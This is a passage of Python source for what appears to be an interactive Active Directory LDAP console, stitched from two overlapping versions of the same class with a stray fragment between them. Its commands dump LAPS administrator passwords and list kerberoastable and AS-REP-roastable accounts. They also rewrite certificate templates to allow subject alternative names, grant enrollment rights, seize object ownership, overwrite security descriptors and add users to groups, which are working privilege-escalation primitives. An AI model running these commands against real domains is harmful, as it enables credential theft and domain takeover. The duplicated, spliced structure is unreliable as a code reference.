traceback.print_exc() return False async def do_gpos(self): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for gpo, err in self.connection.get_all_gpos(): if err is not None: raise err print(gpo) return True except: traceback.print_exc() return False async def do_laps(self): """Feteches all laps passwords""" try: async for entry, err in self.connection.get_all_laps(): if err is not None: raise err pwd = '<MISSING>' if 'ms-Mcs-AdmPwd' in entry['attributes']: pwd = entry['attributes']['ms-Mcs-AdmPwd'] print('%s : %s' % (entry['attributes']['cn'], pwd)) return True except: traceback.print_exc() return False async def do_groupmembership(self, dn): """Feteches names all groupnames the user is a member of for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) group_sids = [] async for group_sid, err in self.connection.get_tokengroups(dn): if err is not None: raise err group_sids.append(group_sids) group_dn, err = await self.connection.get_dn_for_objectsid( group_sid) if err is not None: raise err print('%s - %s' % (group_dn, group_sid)) if len(group_sids) == 0: print('No memberships found') return True except Exception as e: traceback.print_exc() return False async def do_bindtree(self, newtree): """Changes the LDAP TREE for future queries. MUST be DN format eg. 'DC=test,DC=corp' !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!""" self.connection._tree = newtree async def do_trusts(self): """Feteches gives back domain trusts""" try: async for entry, err in self.connection.get_all_trusts(): if err is not None: raise err print(entry.get_line()) return True except: traceback.print_exc() return False async def do_adduser(self, user_dn, password): """Creates a new domain user with password""" try: _, err = await self.connection.create_user_dn(user_dn, password) if err is not None: raise err print('User added') return True except: traceback.print_exc() return False async def do_deluser(self, user_dn): """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)""" try: _, err = await self.connection.delete_user(user_dn) if err is not None: raise err print('Goodbye, Caroline.') return True except: traceback.print_exc() return False async def do_changeuserpw(self, user_dn, newpass, oldpass=None): """Changes user password, if you are admin then old pw doesnt need to be supplied""" try: _, err = await self.connection.change_password( user_dn, newpass, oldpass) if err is not None: raise err print('User password changed') return True except: traceback.print_exc() return False async def do_unlockuser(self, user_dn): """Unlock user by setting lockoutTime to 0""" try: _, err = await self.connection.unlock_user(user_dn) if err is not None: raise err print('User unlocked') return True except: traceback.print_exc() return False async def do_enableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.enable_user(user_dn) if err is not None: raise err print('User enabled') return True except: traceback.print_exc() return False async def do_disableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.disable_user(user_dn) if err is not None: raise err print('User disabled') return True except: traceback.print_exc() return False async def do_addspn(self, user_dn, spn): """Adds an SPN entry to the users account""" try: _, err = await self.connection.add_user_spn(user_dn, spn) if err is not None: raise err print('SPN added!') return True except: traceback.print_exc() return False async def do_addhostname(self, user_dn, hostname): """Adds additional hostname to computer account""" try: _, err = await self.connection.add_additional_hostname( user_dn, hostname) if err is not None: raise err print('Hostname added!') return True except: traceback.print_exc() return False async def do_addusertogroup(self, user_dn, group_dn): """Adds user to specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.add_user_to_group(user_dn, group_dn) if err is not None: raise err print('User added to group!') return True except: traceback.print_exc() return False async def do_deluserfromgroup(self, user_dn, group_dn): """Removes user from specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.del_user_from_group( user_dn, group_dn) if err is not None: raise err print('User added to group!') return True except: traceback.print_exc() return False async def do_rootcas(self, to_print=True): """Lists Root CA certificates""" try: cas = [] async for ca, err in self.connection.list_root_cas(): if err is not None: raise err cas.append(ca) if to_print is True: print(ca) return cas except: traceback.print_exc() return False async def do_ntcas(self, to_print=True): """Lists NT CA certificates""" try: cas = [] async for ca, err in self.connection.list_ntcas(): if err is not None: raise err cas.append(ca) if to_print is True: print(ca) return cas except: traceback.print_exc() return False async def do_aiacas(self, to_print=True): """Lists AIA CA certificates""" try: cas = [] async for ca, err in self.connection.list_aiacas(): if err is not None: raise err cas.append(ca) if to_print is True: print(ca) return cas except: traceback.print_exc() return False async def do_enrollmentservices(self, to_print=True): """Lists AIA CA certificates""" try: services = [] async for srv, err in self.connection.list_enrollment_services(): if err is not None: raise err services.append(srv) if to_print is True: print(srv) return services except: traceback.print_exc() return False async def do_addcerttemplatenameflagaltname(self, certtemplatename, flags=None): """Modifyies the msPKI-Certificate-Name-Flag value of the specified certificate template and enables ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME bit. If 'flags' is present then it will assign that value.""" try: template = None async for template, err in self.connection.list_certificate_templates( certtemplatename): if err is not None: raise err break if template is None: raise Exception("Template could not be found!") template = typing.cast(MSADCertificateTemplate, template) if flags is not None: flags = int(flags) else: flags = int( CertificateNameFlag(template.Certificate_Name_Flag) | CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME) changes = {'msPKI-Certificate-Name-Flag': [('replace', [flags])]} _, err = await self.connection.modify(template.distinguishedName, changes) if err is not None: raise err print('Modify OK!') return True except: traceback.print_exc() return False async def do_addenrollmentright(self, certtemplatename, user_dn): """Grants enrollment rights to a user (by DN) for the specified certificate template.""" try: user_sid, err = await self.connection.get_objectsid_for_dn(user_dn) if err is not None: raise err template = None async for template, err in self.connection.list_certificate_templates( certtemplatename): if err is not None: raise err break if template is None: raise Exception("Template could not be found!") template = typing.cast(MSADCertificateTemplate, template) new_sd = copy.deepcopy(template.nTSecurityDescriptor) ace = ACCESS_ALLOWED_OBJECT_ACE() ace.Sid = SID.from_string(user_sid) ace.ObjectType = GUID.from_string(EX_RIGHT_CERTIFICATE_ENROLLMENT) ace.AceFlags = AceFlags(0) ace.Mask = ADS_ACCESS_MASK.READ_PROP | ADS_ACCESS_MASK.WRITE_PROP | ADS_ACCESS_MASK.CONTROL_ACCESS ace.Flags = ACE_OBJECT_PRESENCE.ACE_OBJECT_TYPE_PRESENT new_sd.Dacl.aces.append(ace) _, err = await self.connection.set_objectacl_by_dn( template.distinguishedName, new_sd.to_bytes(), flags=SDFlagsRequest.DACL_SECURITY_INFORMATION) if err is not None: raise err print('SD set sucessfully') return True except: traceback.print_exc() return False async def do_certtemplates(self, name=None, to_print=True): """Lists certificate templates""" try: services = await self.do_enrollmentservices(to_print=False) templates = [] async for template, err in self.connection.list_certificate_templates( name): if err is not None: raise err lt = None if template.nTSecurityDescriptor is not None: lt, err = await self.connection.resolv_sd( template.nTSecurityDescriptor) if err is not None: raise err template.sid_lookup_table = lt for srv in services: if template.name in srv.certificateTemplates: template.enroll_services.append( '%s\\%s' % (srv.dNSHostName, srv.name)) templates.append(template) if to_print is True: print(template.prettyprint()) return templates except: traceback.print_exc() return False async def do_sidresolv(self, sid, to_print=True): """Returns the domain and username for SID""" try: domain, username, err = await self.connection.resolv_sid(sid) if err is not None: raise err res = '%s\\%s' % (domain, username) if to_print is True: print(res) return res except: traceback.print_exc() return False async def do_certify(self, cmd=None, username=None): """ADCA security test""" try: es = await self.do_enrollmentservices(to_print=False) if es is False: raise Exception('Listing enrollment Services error! %s' % es) if es is None: raise Exception('No Enrollment Services present, stopping!') templates = await self.do_certtemplates(to_print=False) if templates is False: raise Exception('Listing templates error! %s' % es) if templates is None: raise Exception('No templates exists!') for enrollment in es: print(enrollment) if cmd is not None: if cmd.lower().startswith('vuln') is True: tokengroups = None if username is not None: tokengroups, err = await self.connection.get_tokengroups_user( username) if err is not None: raise err for template in templates: isvuln, reason = template.is_vulnerable(tokengroups) if isvuln is True: print(reason) print(template) else: for template in templates: print(template) return True except: traceback.print_exc() return False async def do_whoamiraw(self): """Simple whoami""" try: res, err = await self.connection.whoami() if err is not None: raise err print(res) except: traceback.print_exc() return False async def do_whoami(self): """Full whoami""" try: res, err = await self.connection.whoamifull() if err is not None: raise err for x in res: if isinstance(res[x], str) is True: print('%s: %s' % (x, res[x])) elif isinstance(res[x], dict) is True: for k in res[x]: print('Group: %s (%s)' % (k, '\\'.join(res[x][k]))) return True except: traceback.print_exc() return False, None async def do_test(self): """testing, dontuse""" try: async for entry, err in self.connection.get_all_objectacl(): if err is not None: raise err if entry.objectClass[-1] != 'user': print(entry.objectClass) return True except: traceback.print_exc() return False """
def __init__(self, url, gpo_id, domain): self.domain_dn = ",".join("DC={}".format(d) for d in domain.split(".")) self.dn = 'CN={' + gpo_id + '}},CN=Policies,CN=System,{}'.format( self.domain_dn) conn_url = MSLDAPURLDecoder(url) self.ldap_client = conn_url.get_client()
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd): def __init__(self, url=None): aiocmd.PromptToolkitCmd.__init__( self, ignore_sigint=False ) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None self.domain_name = None async def do_login(self, url=None): """Performs connection and login""" try: if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) self.connection = self.conn_url.get_client() _, err = await self.connection.connect() if err is not None: raise err return True except: traceback.print_exc() return False async def do_ldapinfo(self, show=True): """Prints detailed LDAP connection info (DSA)""" try: if self.ldapinfo is None: self.ldapinfo = self.connection.get_server_info() if show is True: for k in self.ldapinfo: print('%s : %s' % (k, self.ldapinfo[k])) return True except: traceback.print_exc() return False async def do_adinfo(self, show=True): """Prints detailed Active Driectory info""" try: if self.adinfo is None: self.adinfo = self.connection._ldapinfo self.domain_name = self.adinfo.distinguishedName.replace( 'DC', '').replace('=', '').replace(',', '.') if show is True: print(self.adinfo) except: traceback.print_exc() async def do_spns(self): """Fetches kerberoastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_service_users(): if err is not None: raise err print(user.sAMAccountName) except: traceback.print_exc() async def do_asrep(self): """Fetches ASREP-roastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_knoreq_users(): if err is not None: raise err print(user.sAMAccountName) except: traceback.print_exc() async def do_computeraddr(self): """Fetches all computer accounts""" try: await self.do_adinfo(False) #machine_filename = '%s_computers_%s.txt' % (self.domain_name, datetime.datetime.now().strftime("%Y%m%d-%H%M%S")) async for machine, err in self.connection.get_all_machines( attrs=['sAMAccountName', 'dNSHostName']): if err is not None: raise err dns = machine.dNSHostName if dns is None: dns = '%s.%s' % (machine.sAMAccountName[:-1], self.domain_name) print(str(dns)) except: traceback.print_exc() async def do_dump(self): """Fetches ALL user and machine accounts from the domain with a LOT of attributes""" try: await self.do_adinfo(False) await self.do_ldapinfo(False) users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime( "%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing users to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_users(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Users dump was written to %s' % users_filename) users_filename = 'computers_%s.tsv' % datetime.datetime.now( ).strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing computers to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_machines(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Computer dump was written to %s' % users_filename) except: traceback.print_exc() async def do_query(self, query, attributes=None): """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)""" try: await self.do_ldapinfo(False) if attributes is None: attributes = '*' if attributes.find(','): attributes = attributes.split(',') logging.debug('Query: %s' % (query)) logging.debug('Attributes: %s' % (attributes)) async for entry, err in self.connection.pagedsearch( query, attributes): if err is not None: raise err print(entry) except: traceback.print_exc() async def do_tree(self, dn=None, level=1): """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)""" try: await self.do_ldapinfo(False) if level is None: level = 1 level = int(level) if dn is not None: try: int(dn) except: pass else: level = int(dn) dn = None if dn is None: await self.do_ldapinfo(False) dn = self.connection._tree logging.debug('Tree on %s' % dn) tree_data = await self.connection.get_tree_plot(dn, level) tr = LeftAligned() print(tr(tree_data)) except: traceback.print_exc() async def do_user(self, samaccountname): """Feteches a user object based on the sAMAccountName of the user""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) user, err = await self.connection.get_user(samaccountname) if err is not None: raise err if user is None: print('User not found!') else: print(user) except: traceback.print_exc() async def do_machine(self, samaccountname): """Feteches a machine object based on the sAMAccountName of the machine""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) machine, err = await self.connection.get_machine(samaccountname) if err is not None: raise err if machine is None: print('machine not found!') else: print(machine) ####TEST x = SECURITY_DESCRIPTOR.from_bytes( machine.allowedtoactonbehalfofotheridentity) print(x) except: traceback.print_exc() async def do_schemaentry(self, cn): """Feteches a schema object entry object based on the DN of the object (must start with CN=)""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) schemaentry, err = await self.connection.get_schemaentry(cn) if err is not None: raise err print(str(schemaentry)) except: traceback.print_exc() async def do_allschemaentry(self): """Feteches all schema object entry objects""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for schemaentry, err in self.connection.get_all_schemaentry( ): if err is not None: raise err print(str(schemaentry)) except: traceback.print_exc() #async def do_addallowedtoactonbehalfofotheridentity(self, target_name, add_computer_name): # """Adds a SID to the msDS-AllowedToActOnBehalfOfOtherIdentity protperty of target_dn""" # try: # await self.do_ldapinfo(False) # await self.do_adinfo(False) # # try: # new_owner_sid = SID.from_string(sid) # except: # print('Incorrect SID!') # return False, Exception('Incorrect SID') # # # target_sd = None # if target_attribute is None or target_attribute == '': # target_attribute = 'nTSecurityDescriptor' # res, err = await self.connection.get_objectacl_by_dn(target_dn) # if err is not None: # raise err # target_sd = SECURITY_DESCRIPTOR.from_bytes(res) # else: # # query = '(distinguishedName=%s)' % target_dn # async for entry, err in self.connection.pagedsearch(query, [target_attribute]): # if err is not None: # raise err # print(entry['attributes'][target_attribute]) # target_sd = SECURITY_DESCRIPTOR.from_bytes(entry['attributes'][target_attribute]) # break # else: # print('Target DN not found!') # return False, Exception('Target DN not found!') # # print(target_sd) # new_sd = copy.deepcopy(target_sd) # new_sd.Owner = new_owner_sid # print(new_sd) # # changes = { # target_attribute : [('replace', [new_sd.to_bytes()])] # } # _, err = await self.connection.modify(target_dn, changes) # if err is not None: # raise err # # print('Change OK!') # except: # traceback.print_exc() async def do_changeowner(self, new_owner_sid, target_dn, target_attribute=None): """Changes the owner in a Security Descriptor to the new_owner_sid on an LDAP object or on an LDAP object's attribute identified by target_dn and target_attribute. target_attribute can be omitted to change the target_dn's SD's owner""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) try: new_owner_sid = SID.from_string(new_owner_sid) except: print('Incorrect SID!') return False, Exception('Incorrect SID') target_sd = None if target_attribute is None or target_attribute == '': target_attribute = 'nTSecurityDescriptor' res, err = await self.connection.get_objectacl_by_dn(target_dn) if err is not None: raise err target_sd = SECURITY_DESCRIPTOR.from_bytes(res) else: query = '(distinguishedName=%s)' % target_dn async for entry, err in self.connection.pagedsearch( query, [target_attribute]): if err is not None: raise err print(entry['attributes'][target_attribute]) target_sd = SECURITY_DESCRIPTOR.from_bytes( entry['attributes'][target_attribute]) break else: print('Target DN not found!') return False, Exception('Target DN not found!') new_sd = copy.deepcopy(target_sd) new_sd.Owner = new_owner_sid changes = {target_attribute: [('replace', [new_sd.to_bytes()])]} _, err = await self.connection.modify(target_dn, changes) if err is not None: raise err print('Change OK!') except: traceback.print_exc() async def do_setsd(self, target_dn, sddl): """Updates the security descriptor of an object""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) try: new_sd = SECURITY_DESCRIPTOR.from_sddl(sddl) except: print('Incorrect SDDL input!') return False, Exception('Incorrect SDDL input!') _, err = await self.connection.set_objectacl_by_dn( target_dn, new_sd.to_bytes()) if err is not None: raise err print('Change OK!') except: print('Erro while updating security descriptor!') traceback.print_exc() async def do_getsd(self, dn): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) sec_info, err = await self.connection.get_objectacl_by_dn(dn) if err is not None: raise err sd = SECURITY_DESCRIPTOR.from_bytes(sec_info) print(sd.to_sddl()) except: traceback.print_exc() async def do_gpos(self): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for gpo, err in self.connection.get_all_gpos(): if err is not None: raise err print(gpo) except: traceback.print_exc() async def do_laps(self): """Feteches all laps passwords""" try: async for entry, err in self.connection.get_all_laps(): if err is not None: raise err pwd = '<MISSING>' if 'ms-Mcs-AdmPwd' in entry['attributes']: pwd = entry['attributes']['ms-Mcs-AdmPwd'] print('%s : %s' % (entry['attributes']['cn'], pwd)) except: traceback.print_exc() async def do_groupmembership(self, dn): """Feteches names all groupnames the user is a member of for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) group_sids = [] async for group_sid, err in self.connection.get_tokengroups(dn): if err is not None: raise err group_sids.append(group_sids) group_dn, err = await self.connection.get_dn_for_objectsid( group_sid) if err is not None: raise err print('%s - %s' % (group_dn, group_sid)) if len(group_sids) == 0: print('No memberships found') except Exception as e: print(e) traceback.print_exc() async def do_bindtree(self, newtree): """Changes the LDAP TREE for future queries. MUST be DN format eg. 'DC=test,DC=corp' !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!""" self.connection._tree = newtree async def do_trusts(self): """Feteches gives back domain trusts""" try: async for entry, err in self.connection.get_all_trusts(): if err is not None: raise err print(entry.get_line()) except: traceback.print_exc() async def do_adduser(self, username, password): """Creates a new domain user with password""" try: _, err = await self.connection.create_user(username, password) if err is not None: raise err print('User added') except: traceback.print_exc() async def do_deluser(self, user_dn): """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)""" try: _, err = await self.connection.delete_user(user_dn) if err is not None: raise err print('Goodbye, Caroline.') except: traceback.print_exc() async def do_changeuserpw(self, user_dn, newpass, oldpass=None): """Changes user password, if you are admin then old pw doesnt need to be supplied""" try: _, err = await self.connection.change_password( user_dn, newpass, oldpass) if err is not None: raise err print('User password changed') except: traceback.print_exc() async def do_unlockuser(self, user_dn): """Unlock user by setting lockoutTime to 0""" try: _, err = await self.connection.unlock_user(user_dn) if err is not None: raise err print('User unlocked') except: traceback.print_exc() async def do_enableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.enable_user(user_dn) if err is not None: raise err print('User enabled') except: traceback.print_exc() async def do_disableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.disable_user(user_dn) if err is not None: raise err print('User disabled') except: traceback.print_exc() async def do_addspn(self, user_dn, spn): """Adds an SPN entry to the users account""" try: _, err = await self.connection.add_user_spn(user_dn, spn) if err is not None: raise err print('SPN added!') except: traceback.print_exc() async def do_addhostname(self, user_dn, hostname): """Adds additional hostname to computer account""" try: _, err = await self.connection.add_additional_hostname( user_dn, hostname) if err is not None: raise err print('Hostname added!') except: traceback.print_exc() async def do_addusertogroup(self, user_dn, group_dn): """Adds user to specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.add_user_to_group(user_dn, group_dn) if err is not None: raise err print('User added to group!') except: traceback.print_exc() async def do_deluserfromgroup(self, user_dn, group_dn): """Removes user from specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.del_user_from_group( user_dn, group_dn) if err is not None: raise err print('User added to group!') except: traceback.print_exc() async def do_test(self): """testing, dontuse""" try: async for entry, err in self.connection.get_all_objectacl(): if err is not None: raise err if entry.objectClass[-1] != 'user': print(entry.objectClass) except: traceback.print_exc() """